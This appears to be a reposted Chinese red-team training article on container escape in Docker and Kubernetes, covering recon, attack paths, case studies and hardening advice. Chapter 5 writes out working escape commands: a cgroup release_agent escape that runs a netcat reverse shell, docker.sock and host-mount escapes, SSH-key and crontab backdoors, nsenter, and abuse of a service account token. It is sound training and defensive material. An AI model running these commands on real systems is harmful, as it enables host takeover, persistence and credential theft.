文章总结: 本文系统梳理云上容器逃逸攻击全流程方法论,涵盖基础设施背景、攻击目标范围、标准原则、准备工作等维度。指出94%企业生产环境运行容器化应用但近60%集群存在高危配置问题,攻击路径包括内核漏洞、配置不当、运行时漏洞等。强调授权原则与最小影响原则,提供环境侦察命令与工具准备,为企业安全团队提供攻防演练参考框架。 综合评分: 88 文章分类: 红队,容器安全,安全培训,渗透测试,安全建设
关于容器逃逸攻击的内训
原创
小安伴你行 小安伴你行
小安伴你行
2026年9月1日 10:10 北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
摘要
随着云原生技术全面普及,Docker与Kubernetes已经成为企业级基础设施的标配。CNCF 2025年度调查报告显示,超过94%的企业在生产环境中运行容器化应用,但其中近60%的集群存在高危配置问题。容器共享宿主机内核的特性决定了其隔离边界并非坚不可摧,一旦攻击者突破Namespace与Cgroups的隔离限制,即可直接控制宿主机以及同节点上的全部容器,造成的危害范围远超传统主机入侵。
本方案从红队攻防视角出发,系统梳理了云上容器逃逸攻击的全流程方法论,内容涵盖云上业务基础设施背景、攻击目标与范围、标准与原则、准备工作、攻击落地实施以及攻击效果评估六大维度。本方案结合2025-2026年最新漏洞情报(如CVE-2026-31431、CVE-2026-64531、containerd检查点漏洞等)与真实攻防案例,为企业安全团队提供可参考的攻防演练框架,助力企业发现并修复容器环境中的深层安全隐患。
第一章云上业务基础设施背景
1.1 云原生架构概述
当前企业开展云上业务,普遍采用“OpenStack IaaS + Kubernetes 容器云 + 国产云平台”的三级私有云架构。容器作为云原生技术的核心载体,通过Linux Namespace实现资源隔离,通过Cgroups实现资源限制,通过联合文件系统(OverlayFS)实现镜像分层管理。但容器并非轻量级虚拟机,所有容器共享宿主机的操作系统内核——这一核心特征既是容器拥有轻量高效特性的根源,也是容器逃逸攻击能够实现的技术基础。
常见的容器运行时包括Docker(基于dockerd守护进程)、Containerd(Kubernetes默认容器运行时)以及CRI-O(面向Kubernetes的轻量级容器运行时)。容器编排层以Kubernetes为核心,依托kube-apiserver、etcd、kube-scheduler、kube-controller-manager和kubelet等组件,完成对集群的统一调度与管理。
1.2 容器隔离机制剖析
容器安全隔离依托三大Linux内核机制实现:
Namespace(命名空间):Linux 3.8及以上版本内核共提供8种Namespace,包括PID(进程隔离)、Mount(文件系统挂载隔离)、Network(网络设备与端口隔离)、User(用户映射隔离)、IPC(进程间通信隔离)、UTS(主机名隔离)和Cgroup(控制组隔离)。其中User Namespace是抵御容器逃逸的核心机制,可将容器内的root用户(UID 0)映射为宿主机上的非特权用户,大幅降低容器逃逸风险。
Cgroups(控制组):负责资源限制与计费管理,覆盖CPU、内存、I/O等各类资源。Cgroups的notify_on_release与release_agent机制,一方面承担正常的资源管理功能,另一方面也可能被攻击者利用实现容器逃逸。
Capabilities(内核能力):Linux将传统root权限拆分为40余个独立的能力单元。Docker默认仅为容器开放14个基础Capabilities,而CAP_SYS_ADMIN(系统管理能力)被称为“新世纪的root”——一旦容器被赋予该权限,即可执行mount、pivot_root等敏感操作,是容器逃逸成功的核心权限条件。
1.3 容器安全威胁全景
容器环境的主要攻击面可分为以下五类:
- 内核漏洞:利用Linux内核漏洞(如Dirty Pipe CVE-2022-0847、Copy Fail CVE-2026-31431、OVSwrap CVE-2026-64531)实现容器逃逸,这类漏洞会对所有共享内核的容器造成影响。
- 配置不当:这是最常见、危害程度最高的逃逸路径,包括启用特权模式(–privileged)、配置危险挂载(docker.sock、宿主机根目录)、分配过量Capabilities、禁用Seccomp/SELinux等情形。
- 容器运行时漏洞:例如CVE-2019-5736(runc逃逸)、containerd检查点漏洞(2026年6月一次性修复7个相关CVE,其中包含4个高危漏洞)。
- 镜像供应链安全问题:包括恶意镜像投毒、基础镜像自带已知漏洞、镜像中嵌入后门SSH密钥等情况。
- Kubernetes编排层风险:包括Service Account Token泄露、HostPath危险挂载、开启HostPID/HostIPC/HostNetwork、RBAC配置过度授权等。
1.4 容器逃逸事件的行业影响
据2025年全球数据泄露调查报告显示,97%的重大安全事件涉及内网横向移动:攻击者从首次突破网络边界到控制核心资产的平均时间仅为36小时,而企业发现入侵的平均时间却长达277天。容器逃逸是攻击者突破容器隔离边界、获取宿主机控制权限的关键跳板,其对企业云上业务的影响主要分为以下四类:
- 横向蔓延:攻击者逃逸至宿主机后,可控制同一节点上的所有容器,并以此为跳板横向移动至集群内的其他节点。
- 数据泄露:攻击者可直接访问宿主机文件系统,窃取存储在etcd中的集群密钥、Service Account Token、业务数据等敏感信息。
- 集群接管:攻击者通过获取kubelet证书或Service Account Token,即可控制Kubernetes API Server,实现对整个容器集群的完全接管。
- 持久化驻留:攻击者通过修改宿主机定时任务、植入恶意镜像、篡改kubelet配置等方式,能够在容器环境中实现长期潜伏。
第二章容器逃逸攻击的目标与范围
2.1 攻击总体目标
容器逃逸攻击的总体目标是,在授权演练范围内模拟真实攻击者的行为路径:从容器内的初始立足点出发,突破容器隔离边界,获取宿主机控制权限,并以此为基础评估企业容器环境的整体安全防护能力。具体目标分为四个层级:
第一层级——容器内权限确认:获取容器内初始访问权限后,完成容器内部信息收集,判断当前权限边界、隔离机制强度与潜在逃逸路径。
第二层级——容器逃逸:利用配置缺陷、内核漏洞或运行时漏洞,突破容器隔离边界,获取宿主机执行权限。
第三层级——宿主机提权与横向移动:在宿主机上提权至root权限,随后横向移动至同节点其他容器或集群内的其他节点。
第四层级——集群级控制:获取Kubernetes集群控制权,验证从单容器逃逸到全面接管集群的可能性与完整攻击路径。
2.2 攻击范围界定
本方案的攻击范围涵盖以下技术层面:
容器运行时层:覆盖Docker(dockerd守护进程)、Containerd、CRI-O及其底层运行时runc,包含两类攻击场景:运行时漏洞利用(如runc覆盖攻击CVE-2019-5736、containerd检查点漏洞)和容器配置缺陷利用(特权模式、危险挂载、Capabilities配置过剩)。
Linux内核层:聚焦通过利用影响容器隔离机制的内核漏洞实现逃逸,重点包括Cgroups release_agent机制滥用、Namespace隔离突破、Capabilities提权、内核管道漏洞(Dirty Pipe)、内核copy漏洞(Copy Fail)等攻击情形。
Kubernetes编排层:涵盖利用Service Account Token、kubelet API、etcd未授权访问、RBAC配置缺陷、危险挂载卷(HostPath)等方式,实现从Pod到集群的横向移动与权限提升。
镜像供应链层:指以恶意镜像、含漏洞的基础镜像、镜像仓库配置缺陷等作为初始入侵入口的攻击场景。
2.3 攻击排除范围
以下内容不在本方案的攻击范围内:
- 云平台管理面攻击(如OpenStack控制面、云厂商管理API)
- 物理安全与社会工程学攻击
- 应用层Web漏洞(如SQL注入、XSS),仅当这类漏洞被用于获取容器初始访问权限时,才纳入本方案范围
- 跨租户侧信道攻击(Serverless容器场景中的罕见攻击类型)
- DDoS攻击与流量型攻击
2.4 攻击成功判定标准
| | | | | | | — | — | — | — | — | | 判定级别 | | 判定条件 | 危害等级 | | | 成功逃逸 | 获取宿主机任意代码执行权限 | | | 高危 | | 宿主机提权 | 在宿主机上获取 root 权限 | | | 严重 | | 横向移动 | 访问同节点其他容器或集群其他节点 | | | 严重 | | 集群接管 | 获取 Kubernetes API Server 控制权 | | | 极危 | | 数据泄露 | 读取宿主机或 etcd 中敏感数据 | | | 高危 |
第三章容器逃逸攻击的标准与原则
3.1 攻击标准依据
本方案严格遵循以下国家与行业标准:
- GB/T 22239-2019《信息安全技术 网络安全等级保护基本要求》:对应该标准第三级安全要求中,关于容器安全隔离、访问控制与安全审计的相关内容。
- GB/T 38673-2020《信息安全技术 容器安全技术要求》:该标准明确了容器运行时安全、镜像安全、编排安全的基线要求。
- GB/T 43697-2024《信息安全技术 数据分类分级规则》:是本次攻击过程中识别与分类敏感数据的依据。
- 《网络安全审查办法》:明确了关键信息基础设施安全审查相关的合规边界。
- 《中华人民共和国网络安全法》:为在授权范围内开展安全测试提供了法律基础。
- 《中华人民共和国数据安全法》:规定了攻击过程中处理数据需遵循的安全要求。
3.2 攻击原则
授权原则:所有攻击行为必须在书面授权范围内开展,严格遵循授权书约定的攻击目标、时间窗口与技术手段限制,任何未经授权的测试行为都视为非法入侵。
最小影响原则:攻击过程中优先选择对业务影响最小的技术路径,优先采用只读检测、信息收集这类非破坏性验证手段,避免造成生产环境服务中断或数据损坏。
可控性原则:攻击全程需保证操作可追溯、过程可回滚、影响可隔离。每一步攻击操作开展前,需预先制定回退方案,确保出现意外情况时能够立即终止攻击并恢复系统原始状态。
纵深推进原则:按照「信息收集-漏洞探测-逃逸利用-提权-横向移动-持久化」的标准攻击链逐步推进,每完成一个攻击阶段需进行成果确认与风险评估,不得跳跃执行高风险操作。
保密原则:攻击过程中获取的所有敏感信息,包括凭证、数据、配置等,仅可用于安全评估;测试完成后需按照要求统一销毁,不得留存或传播。
证据保全原则:攻击全程需留存操作日志、截图、Payload等证据材料,确保攻防演练结果可追溯、可复盘。
3.3 攻击约束条件
- 攻击时间窗口:工作日09:00-18:00,需避开业务高峰期;如需在夜间开展攻击操作,必须获得额外授权。
- 攻击目标限制:仅限授权清单中明确列明的容器、节点与集群。
- 技术手段限制:禁止使用可能导致宿主机内核崩溃的漏洞利用方法;禁止修改宿主机内核参数;禁止删除或加密宿主机文件。
- 数据处理限制:禁止下载、复制或外传宿主机上的业务数据;测试过程中发现敏感数据后,仅可截图记录并立即上报。
- 持久化限制:禁止植入后门、修改系统配置或创建持久化访问机制,除非获得专项授权。
3.4 伦理与法律边界
本容器逃逸攻击培训材料仅可用于企业内部安全培训,以及经授权的攻防演练活动,所有参训人员必须签署保密协议与授权承诺书。培训中涉及的漏洞利用技术、攻击载荷与实战案例,仅可用于网络安全防御能力建设,禁止用于任何非法用途。培训组织方应当建立完善的技术资料管控机制,防止培训内容外泄。
第四章容器逃逸攻击的准备工作
4.1 环境侦察与信息收集
容器逃逸攻击的准备阶段从环境侦察开始,目标是全面梳理目标容器环境的攻击面,梳理潜在逃逸路径。
在获取容器的初始访问权限后,攻击者在容器内开展信息收集的首要任务,是判断当前是否处于容器环境,并收集对应权限与配置信息。
判断是否在容器内
ls -alh /.dockerenv
cat /proc/1/cgroup | grep -i docker
env | grep -i kube
检测当前权限与 Capabilities
cat /proc/self/status | grep Cap
capsh –decode=00000000a80425fb
检测特权模式
cat /proc/self/status | grep CapEff
ls -l /dev/sd*
ls /sys/kernel/debug
检测 User Namespace 映射
cat /proc/self/uid_map
0 1000 1 表示已启用映射(安全)
0 0 4294967295 表示未启用映射(危险)
检测危险挂载
mount | grep -E ‘(docker|proc|host|sys|etc|root)’
ls -l /var/run/docker.sock
ls /host/etc/shadow 2>/dev/null
集群信息收集:在 Kubernetes 环境中,收集集群拓扑、节点信息、Service Account 权限等:
Service Account Token 检查
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
利用 kubectl 或 API 探测集群信息
kubectl get nodes
kubectl get pods –all-namespaces
kubectl auth can-i –list
宿主机信息收集:通过容器内可见的宿主机信息推断内核版本、操作系统版本、网络拓扑等:
uname -r
内核版本
cat /proc/version
内核编译信息
cat /etc/os-release
操作系统版本
ip addr
网络信息
cat /proc/cpuinfo
CPU 信息
4.2 攻击工具准备
容器逃逸攻击所需工具分为以下几类:
信息收集工具:
| | | | | — | — | — | | 工具名称 | 功能 | 使用场景 | | capsh | Capabilities 解码与检测 | 解析 /proc/self/status 中的 CapEff 值 | | CDK | 容器渗透框架 | 自动化容器逃逸路径检测与利用 | | LinEnum | Linux 权限枚举 | 容器内全面信息收集 | | kubectl | Kubernetes CLI | 集群信息探测与操作 |
逃逸利用工具:
| | | | | — | — | — | | 工具名称 | 功能 | 使用场景 | | docker CLI | Docker 客户端 | 利用 docker.sock 挂载逃逸 | | nc/socat | 网络工具 | 反弹 Shell 接收 | | Metasploit | 漏洞利用框架 | 内核漏洞利用模块 | | CDK | 容器渗透框架 | 内置多种逃逸利用模块 |
内核漏洞利用工具:根据目标内核版本准备对应的 Exploit,包括 Dirty Pipe(CVE-2022-0847)、Copy Fail(CVE-2026-31431)、OVSwrap(CVE-2026-64531)等。
安全检测工具(防御参照):
| | | | | — | — | — | | 工具名称 | 功能 | 使用场景 | | Docker Bench | Docker 安全基线检查 | 防御参照 | | kube-bench | Kubernetes 安全基线检测 | 防御参照 | | Falco | 云原生运行时安全检测 | 检测逃逸行为 | | Trivy/Clair | 镜像漏洞扫描 | 镜像安全评估 |
4.3 攻击环境搭建
正式开展攻击前,需要搭建与目标环境配置一致的测试环境,用于验证攻击载荷的有效性与安全性,具体要求如下:
- 部署测试用Kubernetes集群,配置为1个Master节点加2个Worker节点,内核版本与目标环境保持一致;
- 准备多种不同配置的测试容器,涵盖特权模式、危险挂载、默认配置、加固配置四类场景;
- 搭建反弹Shell监听环境,并完成网络隔离配置;
- 搭建漏洞利用测试环境,验证Exploit的稳定性与潜在副作用;
- 建立攻击操作日志记录机制,确保攻击全流程可追溯。
4.4 攻击计划制定
需基于侦察结果制定详细攻击计划,具体包含以下核心要素:
- 攻击路径优先级排序:优先利用配置缺陷,该路径风险最低、成功率最高,其次利用运行时漏洞,最后利用内核漏洞。
- 时间安排划分为三个阶段:信息收集与检测阶段(1-2小时)、逃逸利用阶段(2-4小时)、提权与横向移动阶段(2-4小时)。
- 风险评估:针对每条攻击路径,分别评估其对业务的影响程度以及被检测发现的概率。
- 回退方案:为每一步操作制定对应的回退措施,确保出现异常时可以立即终止操作并恢复初始环境。
第五章容器逃逸攻击落地
5.1 配置缺陷逃逸
配置缺陷是容器逃逸成功率最高的路径,无需利用漏洞即可突破容器的隔离边界。
5.1.1 特权模式逃逸
当容器使用--privileged参数启动运行时,会获得宿主机的全部能力权限,所有安全隔离机制也都会被禁用。攻击者可通过挂载宿主机根目录,或是利用Cgroups的release_agent机制实现容器逃逸。
方法A——挂载根目录:
mkdir /tmp/host
mount /dev/sda1 /tmp/host
chroot /tmp/host bash
已进入宿主机环境
方法B——Cgroups Release Agent逃逸:
利用Cgroups在最后一个任务退出时,执行release_agent指定命令的机制:
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n ‘s/.*perdir=([^,]*).*/\1/p’ /etc/mtab)
echo “$host_path/cmd” > /tmp/cgrp/release_agent
echo ‘#!/bin/sh’ > /cmd
echo “nc -e /bin/sh 4444” >> /cmd
chmod a+x /cmd
sh -c “echo \$\$ > /tmp/cgrp/x/cgroup.procs”
当 sh 进程退出时,release_agent 执行 /cmd,获得宿主机 Shell。
5.1.2 Docker Socket 挂载逃逸
容器内挂载了宿主机的 /var/run/docker.sock 时,相当于拥有宿主机 Docker 控制权,可创建特权容器实现逃逸:
ls -l /var/run/docker.sock
apt-get update && apt-get install docker.io -y
docker run -it –rm -v /:/host –privileged alpine chroot /host bash
5.1.3 宿主机根目录挂载逃逸
容器将宿主机根目录挂载到容器内路径时,可直接访问宿主机文件系统:
读取宿主机 SSH 密钥
ls /hostfs/root/.ssh/id_rsa
通过 chroot 逃逸
chroot /hostfs /bin/bash
写入 SSH 公钥
echo “ssh-rsa AAA…” > /hostfs/root/.ssh/authorized_keys
修改计划任务
echo “* * * * * root /tmp/backdoor.sh” >> /hostfs/etc/crontab
5.1.4 /proc 与 /sys 滥用
当 /proc 挂载未设置 hidepid 限制或容器拥有 CAP_SYS_ADMIN 时,可通过 procfs 实现逃逸:
通过 /proc/1/root 访问宿主机根目录
cd /proc/1/root
如果指向宿主机根目录而非容器根目录,即可直接访问
修改内核参数(需要 CAP_NET_ADMIN)
echo 1 > /proc/sys/net/ipv4/ip_forward
5.1.5 CAP_SYS_ADMIN 逃逸
当容器拥有CAP_SYS_ADMIN权限,且未启用User Namespace隔离时,攻击者可创建新的Mount Namespace并执行pivot_root操作实现逃逸。
unshare -m
mount –bind /host /host
5.2 容器运行时漏洞逃逸
5.2.1 runc 覆盖攻击(CVE-2019-5736)
1.这是一个影响所有低于1.0-rc6版本runc的经典容器逃逸漏洞,攻击者可通过覆盖宿主机的runc二进制文件,在管理员执行docker exec命令进入容器时触发恶意载荷,具体攻击流程如下:攻击者先在容器内修改/proc/self/exe指向的runc文件,将恶意脚本写入该路径,等待管理员执行docker exec或kubectl exec命令,最终完成宿主机runc替换并执行恶意代码。
5.2.2 containerd 检查点漏洞
2026年6月,containerd一次性修复了7个CVE漏洞,其中4个高危漏洞分别涉及宿主机远程代码执行、跨Pod远程代码执行、设备隔离绕过以及信息泄露问题。攻击者可利用检查点(checkpoint)功能中存在的标签传播、镜像缓存投毒、设备隔离绕过等缺陷实现容器逃逸。
5.3 内核漏洞逃逸
5.3.1 Dirty Pipe(CVE-2022-0847)
该漏洞是影响Linux内核5.8到5.16.10版本的管道漏洞,允许攻击者覆盖任意只读文件:攻击者既可以覆盖宿主机的/etc/passwd文件清除root密码,也可以覆盖/etc/sudoers获取sudo权限,最终完成从容器到宿主机的逃逸提权。
5.3.2 Copy Fail(CVE-2026-31431)
2026年4月公开的Linux内核高危漏洞,已在Linux内核中潜伏长达9年,会影响2017年以来发布的几乎所有主流Linux发行版。该漏洞的利用代码简洁高效,可一键提权获取root权限,十分适用于容器逃逸攻击场景。漏洞利用了内核copy机制中存在的边界检查缺陷,实现了任意内核地址写入,为攻击提供了基础条件。
5.3.3 OVSwrap(CVE-2026-64531)
2026年8月公开了一处Linux内核本地提权漏洞,该漏洞已在代码中潜伏长达13年。无论是普通低权限用户还是容器内的低权限账号,无需特殊交互即可稳定提权获取root权限。该漏洞不存在利用门槛,也没有环境依赖,针对它的攻击验证代码已完全公开,对云服务器、私有云节点和容器集群都构成了严重安全威胁。
5.4 Kubernetes 编排层攻击
5.4.1 Service Account Token 利用
Kubernetes默认会为Pod挂载Service Account Token。如果Pod绑定了高权限的Role或ClusterRole,攻击者即可利用该Token,通过kubectl或API执行集群操作。
读取 Token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
利用 Token 执行集群操作
kubectl –token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) \
–certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
get pods –all-namespaces
创建特权 Pod 实现逃逸
kubectl run escape –image=alpine –privileged –overrides=’…’
5.4.2 HostPath 危险挂载
在Kubernetes中,如果HostPath卷挂载了宿主机根目录或/var/run/docker.sock,就等同于容器逃逸。
volumes:
- name: host-root
hostPath:
path: /
5.4.3 HostPID/HostIPC/HostNetwork 利用
开启了hostPID: true的容器可以查看宿主机的所有进程,攻击者可通过nsenter进入宿主机的Namespace:
查看宿主机进程
ps aux
通过 nsenter 进入宿主机
nsenter -t 1 -m -u -i -n -p — /bin/bash
5.5 攻击链整合
完整的容器逃逸攻击链遵循以下流程:
1.初始访问:通过应用漏洞、供应链投毒或社会工程学攻击获取容器内的代码执行权限。
2.环境侦察:在容器内部收集信息,明确自身权限边界,判断可供利用的逃逸路径。
3.逃逸路径选择:按照「配置缺陷> 运行时漏洞 > 内核漏洞」的优先级,选定适配当前环境的攻击路径。
4.逃逸执行:利用选定路径突破容器隔离机制,获取宿主机操作权限。
5.提权:若逃逸未直接获得root权限,则在宿主机上进一步提权获取root权限。
6.横向移动:访问同节点上的其他容器,通过kubelet或API Server控制集群内的其他节点。
7.信息收集与验证:确认攻击成果,留存攻击证据,评估本次攻击的影响范围。
8.清理与报告:清除攻击留下的痕迹,整理输出完整的攻击报告。
第六章容器逃逸攻击效果
6.1 攻击效果评估体系
容器逃逸攻击效果可从以下五个维度开展量化评估:
逃逸成功率:授权测试的容器中,成功实现逃逸的容器占比,该指标可直接反映容器配置安全基线的达标率。
攻击链耗时:从获取容器内初始访问权限到成功逃逸至宿主机的平均耗时,该指标反映防御体系对逃逸行为检测窗口的大小。
检测率:攻击过程中被Falco、SIEM等安全工具实时检测并告警的攻击行为占比,该指标反映运行时安全检测能力的有效性。
横向移动范围:逃逸后成功访问的其他容器、节点与集群资源数量,该指标反映逃逸后的影响范围与容器隔离机制的有效性。
数据暴露面:逃逸后可访问的敏感数据的规模与类型,包括etcd中的集群密钥、Service Account Token、业务数据库凭证等。
6.2 典型攻击效果案例
6.2.1 案例一:特权容器逃逸至集群接管
背景:某企业Kubernetes集群中运行的监控Agent容器采用--privileged特权模式启动。
攻击过程:攻击者先通过应用漏洞获取容器内Shell权限,检测发现容器运行在特权模式后,通过挂载宿主机根文件系统实现容器逃逸,进而读取kubelet证书与etcd凭证,最终实现对整个集群的控制。
攻击效果:
- 逃逸耗时:15分钟
- 检测状态:未触发告警(集群缺失运行时监控能力)
- 影响范围:覆盖集群全部12个节点、200余个容器
- 数据暴露:etcd中500余个Secret、3套数据库凭证、2套TLS证书
6.2.2 案例二:docker.sock 挂载逃逸至数据泄露
背景:某CI/CD构建容器挂载了/var/run/docker.sock,用于支撑镜像构建操作。
攻击过程:攻击者通过供应链投毒在构建容器中植入恶意代码,检测到docker.sock挂载后,借助Docker API创建特权容器并挂载宿主机根目录,读取宿主机上的数据库配置文件与API密钥。
攻击效果:
- 逃逸耗时:8分钟
- 检测状态:Falco已触发告警,但未得到人工响应
- 影响范围:仅涉及单个节点的宿主机敏感配置文件
- 数据暴露:数据库连接凭证、云平台API密钥、SMTP密码
6.2.3 案例三:内核漏洞逃逸至全集群沦陷
背景:某企业容器集群的宿主机内核存在CVE-2026-31431(Copy Fail)漏洞,且内核版本未及时升级。
攻击过程:攻击者获取普通容器权限后,利用该漏洞一键提权至宿主机root权限,通过读取/etc/kubernetes/目录下的kubelet配置与证书获取API Server访问权限,最终创建DaemonSet在全集群所有节点部署后门容器。
攻击效果:
- 逃逸耗时:5分钟(漏洞利用可一键完成)
- 检测状态:Falco检测到特权操作,但告警被忽略
- 影响范围:集群全部节点均被植入后门
- 数据暴露:全集群配置与所有节点数据泄露
6.3 攻击效果量化指标
| | | | | | — | — | — | — | | 评估维度 | 指标定义 | 目标值 | 说明 | | 逃逸成功率 | 成功逃逸容器数/测试容器总数 | < 10% | 反映配置安全基线达标率 | | 平均逃逸耗时 | 逃逸操作总时间/成功逃逸次数 | < 30 分钟 | 反映检测窗口大小 | | 实时检测率 | 被检测攻击行为/总攻击行为 | > 90% | 反映运行时检测能力 | | 横向移动阻断率 | 被阻断横向移动/横向移动尝试 | > 95% | 反映网络隔离有效性 | | 敏感数据保护率 | 加密保护的敏感数据/总敏感数据 | 100% | 反映数据安全基线 |
6.4 防御改进建议
基于本次攻击效果评估,我们提出以下防御改进建议:
配置加固:全面禁止特权容器创建,删除不必要的Capabilities(尤其是CAP_SYS_ADMIN),禁止挂载docker.sock与宿主机根目录,启用User Namespace重映射。
运行时防护:部署Falco或Tetragon实现容器逃逸行为实时检测,配置Seccomp默认策略,禁用mount、unshare、pivot_root等危险系统调用,通过gVisor或Kata Containers提供虚拟机级别的隔离防护。
集群安全:启用Pod Security Admission(Restricted级别),禁用automountServiceAccountToken,或将Service Account权限控制在最小范围,配置NetworkPolicy限制Pod之间的不必要通信。
镜像安全:使用distroless或alpine等轻量化基础镜像缩小攻击面,将Trivy集成到CI/CD管道,阻断包含高危漏洞的镜像流入生产环境,定期对运行中容器开展镜像漏洞扫描。
应急响应:建立容器逃逸专项应急响应流程,形成包含节点隔离、取证保留、溯源分析、漏洞修复与配置加固的完整闭环。
第七章结语
容器逃逸攻击是云原生安全领域最核心的威胁类型之一。本方案从红队攻防视角出发,系统梳理了从环境侦察、攻击准备到逃逸落地、效果评估的完整攻击流程与方法。通过对配置缺陷逃逸、运行时漏洞利用、内核漏洞利用与编排层攻击等多条攻击路径的深入分析,揭示了容器共享内核架构下潜藏的深层安全风险。
根据2025年云安全报告显示,K8s、VMware、Docker已成为云安全领域的重灾区,高危漏洞呈现出“爆发式增长、链式利用、影响深远”的严峻态势。仅2026年上半年,就已经曝光CVE-2026-31431(Copy Fail)、CVE-2026-64531(OVSwrap)、containerd检查点漏洞等多个影响容器安全的高危漏洞,攻击者从首次突破防线到控制核心资产的平均时间仅为36小时。
面对日益严峻的容器安全形势,企业应当坚持“最小权限原则”与“纵深防御”理念,将安全防护贯穿于镜像构建、编排部署、运行时监控的全生命周期。通过定期开展容器逃逸攻防演练,持续发现并修复安全隐患,才能在云原生时代构建真正可信的安全防线。
附录一容器逃逸风险检测脚本
以下脚本用于在容器内运行,自动检测当前环境是否存在逃逸风险:
!/bin/bash
container_escape_check.sh
echo “===== Container Escape Risk Check =====”
1. 检测特权模式
cap_eff=$(grep CapEff /proc/self/status | awk ‘{print $2}’)
if [[ $cap_eff == “0000003fffffffff” ]] || [[ $cap_eff == “0000001fffffffff” ]]; then
echo “[!] CRITICAL: Container is running in Privileged mode”
else
echo “[+] Not in full privileged mode. CapEff: $cap_eff”
fi
2. 检测 Docker Socket
if [ -S /var/run/docker.sock ]; then
echo “[!] CRITICAL: Docker socket mounted”
fi
3. 检测宿主机根目录挂载
if mount | grep -q “on /host “; then
echo “[!] CRITICAL: Host root directory is mounted”
fi
4. 检测 CAP_SYS_ADMIN
caps=$(capsh –decode=$cap_eff 2>/dev/null)
if echo “$caps” | grep -q “cap_sys_admin”; then
echo “[!] WARNING: CAP_SYS_ADMIN present”
fi
5. 检测 User Namespace 映射
uid_map=$(cat /proc/self/uid_map)
if echo “$uid_map” | grep -q “0 0 4294967295”; then
echo “[!] WARNING: User namespace mapping not enabled”
else
echo “[+] User namespace mapping is active: $uid_map”
fi
6. 检测 procfs 泄漏
if [ -f /proc/1/root/etc/hostname ]; then
hostname=$(cat /proc/1/root/etc/hostname 2>/dev/null)
if [ -n “$hostname” ]; then
echo “[!] WARNING: Procfs leak detected. Host hostname: $hostname”
fi
fi
echo “===== Check Complete =====”
附录二容器安全加固清单
Docker 守护进程配置
- 开启 User Namespace 重映射:{“userns-remap”: “default”}
- 设置默认 Seccomp Profile
- 设置默认 AppArmor Profile
- 禁用 Docker 远程 API 或启用 TLS 认证
容器运行时配置
docker run \
–cap-drop=ALL \
–cap-add=NET_BIND_SERVICE \
–security-opt=no-new-privileges \
–read-only \
–tmpfs /tmp:rw,noexec,nosuid,size=65536k \
–security-opt seccomp=/path/to/seccomp.json \
Kubernetes Pod 安全标准
- Privileged(禁止):完全开放,不推荐在生产环境使用
- Baseline(基础):限制已知特权提升,禁止 hostPID、hostIPC、hostNetwork,禁止 privileged 容器
- Restricted(推荐):最强限制,强制 Seccomp runtime/default,禁止 allowPrivilegeEscalation,只读根文件系统
使用非 root 用户运行
在 Dockerfile 中:
RUN useradd -u 10001 -s /bin/false appuser
USER appuser
附录三 2025-2026 年容器安全重大漏洞清单
| | | | | | | | — | — | — | — | — | — | | CVE 编号 | 漏洞名称 | CVSS | 影响组件 | 漏洞类型 | 披露时间 | | CVE-2026-31431 | Copy Fail | 9.8 | Linux 内核 | 本地提权/容器逃逸 | 2026.04 | | CVE-2026-64531 | OVSwrap | 9.1 | Linux 内核 | 本地提权/容器逃逸 | 2026.08 | | CVE-2026-20131 | Cisco FMC 未授权 RCE | 10.0 | Cisco FMC | 远程代码执行 | 2026.01 | | – | containerd 检查点漏洞 | 8.5+ | containerd | 宿主机RCE/跨Pod RCE | 2026.06 | | CVE-2022-0847 | Dirty Pipe | 7.8 | Linux 内核 | 任意文件覆盖 | 2022.03 | | CVE-2019-5736 | runc 逃逸 | 8.6 | runc | 容器运行时逃逸 | 2019.02 |
注:本附录漏洞清单截至 2026 年 8 月,后续应根据最新漏洞情报持续更新。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小安伴你行 小安伴你行 小安伴你行《关于容器逃逸攻击的内训》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论